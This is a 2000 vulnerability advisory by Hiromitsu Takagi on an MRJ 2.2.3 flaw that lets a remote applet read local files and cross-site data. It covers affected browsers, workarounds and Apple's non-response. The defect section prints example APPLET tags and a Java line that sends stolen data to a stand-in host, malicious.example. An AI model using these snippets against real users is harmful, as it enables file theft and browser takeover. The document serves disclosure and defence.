Security Hole of MRJ 2.2.3 (Mac OS Runtime for Java) - Inconsistent Use of CODEBASE and ARCHIVE Attributes -

["TAKAGI, Hiromitsu" <takagi () ETL GO JP>]

------------------------------------------------------------------
       Security Hole of MRJ 2.2.3 (Mac OS Runtime for Java)
     - Inconsistent Use of CODEBASE and ARCHIVE Attributes -
     http://java-house.etl.go.jp/ml/archive/j-h-b/039457.html
------------------------------------------------------------------

Contents
========
   o Affected Products
   o Potential Damage
   o Verification
   o Workaround
   o Vendor Response
   o Nature of Defect
   o Where Responsibility Rests
   o Details of Potential Damage


Affected Products
=================

Version 2.2.3 of MRJ (Mac OS Runtime for Java).  This has not been
confirmed yet, but all older versions may be affected also.  It is
also affected that Web browser for Mac OS, Internet Explorer 4.5 and 5,
Netscape 6, iCab and other software all of which use MRJ.

"MRJ" is installed in all recent Mac OS as a standard provision and is
used in browsing Web pages.

This security hole is found existing in the following combinations:

  o Mac OS + MRJ 2.2.3 + Internet Explorer 4.5
  o Mac OS + MRJ 2.2.3 + Internet Explorer 5
  o Mac OS + MRJ 2.2.3 + Netscape 6
  o Mac OS + MRJ 2.2.3 + iCab pre2.2
  o Mac OS + MRJ 2.2.3 + Mozilla MRJ Plug-in 1.0b1 + Netscape 4.76


Potential Damage
================

This bug exposes the browsing user to the following damage the moment
he or she accidentally or otherwise browses a page intentionally set
by a malicious Web site operator:

(1) Arbitrary files in the computer of the browsing user will be
    stolen.
(2) The browser of the browsing user will be taken over and will be
    made to access an arbitrary Web site.
(3) Information in Web pages that is disclosed only to the inside of
    the organization (intranet) will be stolen.

Specifically what damage will be inflicted by them will be described
in "Details of Potential Damage."


Verification
============

A demonstration applet to verify the existence of this bug has been
created.
http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/Test.html

Pressing the "Execute" button will output the list of file names in
the volume "Macintosh HD" in the TextArea under.  (See Fig. 1.)

If Macintosh is used by changing the volume name to other than
"Macintosh HD," which is the default, input the changed name to the
TextField on the left of the "Execute" button and press the "Execute"
button.

Pressing "Send this to the server" button will transfer the data in
the TextArea to the server.  The server is configured to return
received data as it is and the data will be displayed on the browser
screen. (See Fig. 2.)

WARNING: Do not press the "Send this to the server" button unless you
wish data to be transferred.

It has been confirmed that file data will also be read and that
connection to any server will be possible even though this
demonstration applet reads only file names.

Fig. 1  List of file names in Macintosh HD is read
http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/fig-1.gif
Fig. 2  Data transferred to a server
http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/fig-2.gif


Workaround
==========

Wait until a version of MRJ fixing this bug is released by Apple
Computer and install it.  This version has not been released as of
December 14 2000.  The latest version of MRJ can be obtained through
the following site:
http://www.apple.com/java/

As long as fixed MRJ cannot be obtained, stop the Java functions of
the Web browser.

For Internet Explorer:
   Select "Preferences" in the "Edit" menu. Select "Java" and check
   off the check box "Enable Java."

For Netscape 6:
   Select "Preferences" in the "Edit" menu.  Select "Advanced" in
   "Category" on the left and check off the check box "Enable Java."

For iCab:
   Select "Preferences" in the "Edit" menu.  Select "Settings /
   Security" in "Java" and check off the check box "Execute Java
   applets."


Vendor Response
===============

On October 25 2000, e-mail was sent to Apple Japan, Inc., notifying "A
security hole has been found."  On October 26, Apple Japan replied,
"Apple has received the notice and will investigate the facts with
sincerity.  Please report the nature of the bug."  The reply stated,
however, "to refrain from making inquiries on the progress of our
investigations."

On the same day, I sent the following questions to the staff at Apple
Japan, Inc.:

| From: "TAKAGI, Hiromitsu" <takagi () etl go jp>
| To: Apple Japan Customer Relations <customer_relations () apple co jp>
| Date: Thu, 26 Oct 2000 12:49:39 +0900
| Message-Id: <20001026123030.66BC.TAKAGI () etl go jp>
| Subject: New Security Hole of MRJ
|
| I consider that safeguarding safety of citizens is of the highest
| priority.  As I stated in my e-mail yesterday,
|
| > > this bug can attack by a similar method as that of the bug found last
| > > week with Internet Explorer for Windows and may be noticed relatively
| > > easily by all.  As the situation now stands, this bug will be abused
| > > as a matter of time.  An appropriate action must be taken quickly.
|
| As mentioned above, this bug can be easily analogized from problems
| that are already known and hazards of it must be disseminated widely
| to the users before it is abused.
|
| If a fixed version cannot be provided quickly or if the users are not
| notified by an appropriate method, I will be compelled to call on the
| users to stop using this defective software to ensure safety of the
| citizens.
|
| If you are taking an appropriate action, I will refrain from
| disclosing the matter publicly and will leave it to you to take
| appropriate actions.
|
| To enable me to judge which course of action I should take, I need to
| know the progress made by you.
|
| > refrain from making inquiries on the progress of our investigations.
|
| I must conclude that an appropriate action by you cannot be expected
| and I will reluctantly be compelled to call for a stop in using the
| defective software, giving the highest priority to safety of the
| citizens.
|
| I would like to ask Apple Computer what actions are you going to take?
|
| 1. Do you intend to provide a fixed module?  (Yes / No)
| 2. What will be estimated time needed by you to provide a fixed module?
|    (Less than a week / about several weeks / about one month / about
|    several months / longer)
| 3. Prior to providing a fixed module, do you intend to notify the users
|    about the existence of hazards and a temporary troubleshooting
|    method?  (Yes / No)
| 4. If you intend to notify the users, which method will you use?
|    (Only announce by TIL / link from top page / letters or e-mail to
|    registered users / newspaper ads / other method)
| 5. If you intend to provide a fixed module, do you plan to explain the
|    magnitude of hazards which existed with the old versions?  (Yes / No)

However, unfortunately, I did not receive any reply from Apple.  On
October 28, I informed the nature of the bug and showed URL or the
demonstration applet for verification.  Nevertheless, no response
has been received to date.

On October 28 also, I simultaneously contacted Tom O'Brien, an MRJ
engineer of Apple Computer in the U. S., to who I was introduced
through the mailing list of "MRJ-DEV," and notified him about the
nature of this bug.  I asked the same questions mentioned above.
No reply has been received.

Forty five days have passed after reporting the bug for the first time
while no announcement has been made by Apple Computer as of December
14 2000.  I am therefore disclosing this fact.


Nature of Defect
=================

As a security constraint, the Java applet is designed allowing
information to be read only from the Web site of the party who
originally downloaded the applet program.  In Java VM, the site of the
original downloading source is displayed in URL as "CODEBASE." In the
<APPLET> tag, which is used when pasting the Java applet in a Web page,
the original download source of the applet can be designated by the
attribute "CODEBASE."  For example, when
  <APPLET CODE="Test" CODEBASE="http://www.target.example/";>
is written, the applet program will be downloaded from
  http://www.target.example/Test.class
regardless of where HTML written in the tags is located.  The applet
is restricted to read only the information of "www.target.com."

On the other hand, the <APPLET> tag has the attribute "ARCHIVE,"
allowing loading Java applet programs which are archived in the JAR
file.  For example, when
  <APPLET CODE="Test" ARCHIVE="Test.jar">
is written, the "Test.jar" file that is located in the same directory
as that of the HTML file will be downloaded.

What will happen if both attributes CODEBASE and ARCHIVE are
designated?  For example, when
  <APPLET CODE="Test"
          CODEBASE="http://www.target.example/";
          ARCHIVE="http://www.malicious.example/Test.jar";>
are described and if an applet program is downloaded from
"www.malicious.example," this applet will be able to read the
information of "www.target.example."  If this is the case, a security
problem will arise.

The CODEBASE attribute must be made to be ignored or the applet must
be disabled to start in case these conflicting CODEBASE and ARCHIVE
attributes are designated.

In spite of this, MRJ 2.2.3 safely activates the applet and allows
reading information of the site designated by the CODEBASE attribute.

By designating "file:///" URL as the CODEBASE attribute, local files
too can be read.
  <APPLET CODE="Test"
          CODEBASE="file:///"
          ARCHIVE="http://www.malicious.example/exploit.jar";>

Some of the readers will question; the applet can communicate with
only the hosts of CODEBASE and cannot send the information to a
malicious server even though the applet can read information, which it
should not be allowed to read.  However, at least, information can be
transferred by the following method:
  String cgi = "http://www.malicious.example/receive-query.cgi";;
  getAppletContext().showDocument(new URL(cgi + "?" + URLEncoder.encode(data)));


Where Responsibility Rests
==========================

This bug is based on the same theory as that of bug of Windows
Internet Explorer "MS00-81" (See *1) reported on October 18 2000 by
Georgi Guninski.  MS00-081 was a bug that caused the same phenomenon
as that of this bug when an applet is started by the <OBJECT> tag.
The only difference is that the MRJ bug now being discussed is caused
by the <APPLET> tag and not by the <OBJECT> tag.

*1:
  Report to BugTraq by Georgi Guninski:
    http://www.securityfocus.com/archive/1/140245
  BugTraq databese - "Microsoft Virtual Machine Arbitrary Java Codebase
  Execution Vulnerability"
    http://www.securityfocus.com/bid/1812
  Microsoft Security Bulletin MS00-081:
    http://www.microsoft.com/technet/security/bulletin/MS00-081.asp

The following description in a document "MS00-81" of Microsoft may be
related to this discussion.

http://www.microsoft.com/technet/security/bulletin/MS00-081.asp
> The vulnerability at issue here is a new variant of the vulnerability
> originally discussed in Microsoft Security Bulletin MS00-011. The only
> significant difference between the new and original variants lies in
> the specific programming technique used to exploit the vulnerability;
> in other respects, the two are virtually identical.

Surely, the same bug existed with the <APPLET> tag as that with MRJ
now discussed when a test was made with Windows 98 2nd edition, which
was installed with Microsoft VM, which was the version fixed by MS00-011.

    However, for some reason, only the root directory could not be
    read by Windows Internet Explorer.  For this reason, a
    demonstration applet was created for checking by designating
    "file:///Program Files/" as CODEBASE.
    http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/Test-forWindowsIE.html

In other words, the problem with Microsoft VM of Windows fixed by
MS00-011 in February 2000 has not been fixed with MRJ since then.

It was careless on the part of Microsoft that they overlooked the fact
the <OBJECT> tag would have a similar problem when they fixed this bug
of the <APPLET> tag by MS00-001.  Be that as it may, why did not Apple
Computer recognize at that time the possibility of the same problem
occurring again with their own products?

Furthermore, what is surprising is that this bug seemed to have
existed in JDK of Sun Microsystems.  This phenomenon is reproduced
when the foregoing demonstration applet for verification is opened by
the appletvirewr of JDK1.1.4.  However, it does not reproduce in JDK
1.1.5.  It appears that Sun knew this bug and fixed it in JDK1.1.5.
However, Sun's page summarizing its history of security problems in
the past related to Java <http://java.sun.com/sfaq/chronology.html>
does not describe it.

Did Sun notify other Java VM vendors when they fixed this bug in their
JDK 1.1.5?  Did any one in Sun notice that MRJ was not fixed yet?

If these simple mistakes are to continue in the future, how can we
reliably use Java?  Beginning this year, more careless security holes
have been found with Java VM implementations of various vendors.  It
is ironical that a password "Java OFF when net surfing" is spreading
among ordinary citizens as a common sense.  As engineers engaged in
the development by Java, we expect thorough disclosure of security
vulnerability information related to Java, notification to their
vendors and precise notification to JRE users.


Details of Potential Damage
===========================

As mentioned above, damage suffered by Web page browsers by this bug
can be classified into the following three groups:
(1) Arbitrary files in the computer of the browsing user will be
    stolen.
(2) The browser of the browsing user will be taken over and will be
    made to access an arbitrary Web site.
(3) Information in Web pages that is disclosed only to the inside of
    the organization (intranet) will be stolen.

The threat brought about by Problem (1) is obvious and does not have
to be explained.  The reader is requested to see a document published
earlier, "Danger of Security Defect of Any Host Being Accessed" on
Problem (3).
http://java-house.etl.go.jp/ml/archive/j-h-b/033470.html

The remaining problem, Problem 2), does not seem to be known fully. As
one of the threats brought about by the Brown Orifice security hole
reported in August 2000, this problem has already been taken up in
BugTraq also.  Nevertheless, Microsoft's document MS00-081 fails to
mention about this threat.

Threat (2) is explained below.

The threat posed by the bug allowing the Java applet accessing any
host is not confined to information read out only.  If the java.net.
URLConnection function supports Cookie, the following threat will
occur:

In case browsers of the browsing users are forcibly accessed by sites
designated by intentions of malicious Web site setters, such accessing
will become accessing based on information (Cookies) unique to the
browser and will be deemed as operation by the browsing users
themselves.

As a result, the browsing users may be penalized as follows:

 - Electronic commerce sites using Cookies with an indefinite time
   limit will be accessed for authenticattion of the users themselves
   and false purchase orders will be issued.

   Sites that do not require password input, such as placing orders by
   clicking only, may be authenticating the users only by a Cookie
   with an indefinite time limit.

 - In case the users are authenticated only by a Cookie, even
   electronic commerce sites operated by a Cookie that is set with a
   term of validity may sometimes issue purchase orders without
   inputting a password because a Cookie within this term of validity
   is used if they are accessed by sites, which have a mechanism to
   abuse this security hole, immediately after transaction sites are
   used.

 - Among services which authenticate the users by a Cookie with a set
   term of validity, those Web mail system services almost certainly
   have operations of their Web mail systems taken over when they
   receive mail embedded with a malicious applet.  As a result, mail
   is stolen and is read and false mail is sent by malicious users who
   disguise as browsing users.

   The reason for "almost certainly" is as follows.  The moment a
   browsing user accesses an applet, which is a trap, the browsing
   user is naturally using the Web mail system and the Cookie for the
   Web mail system is always within its term of validity so that the
   Web mail is taken over almost certainly.

--
Hiromitsu Takagi
Electrotechnical Laboratory
http://www.etl.go.jp/~takagi/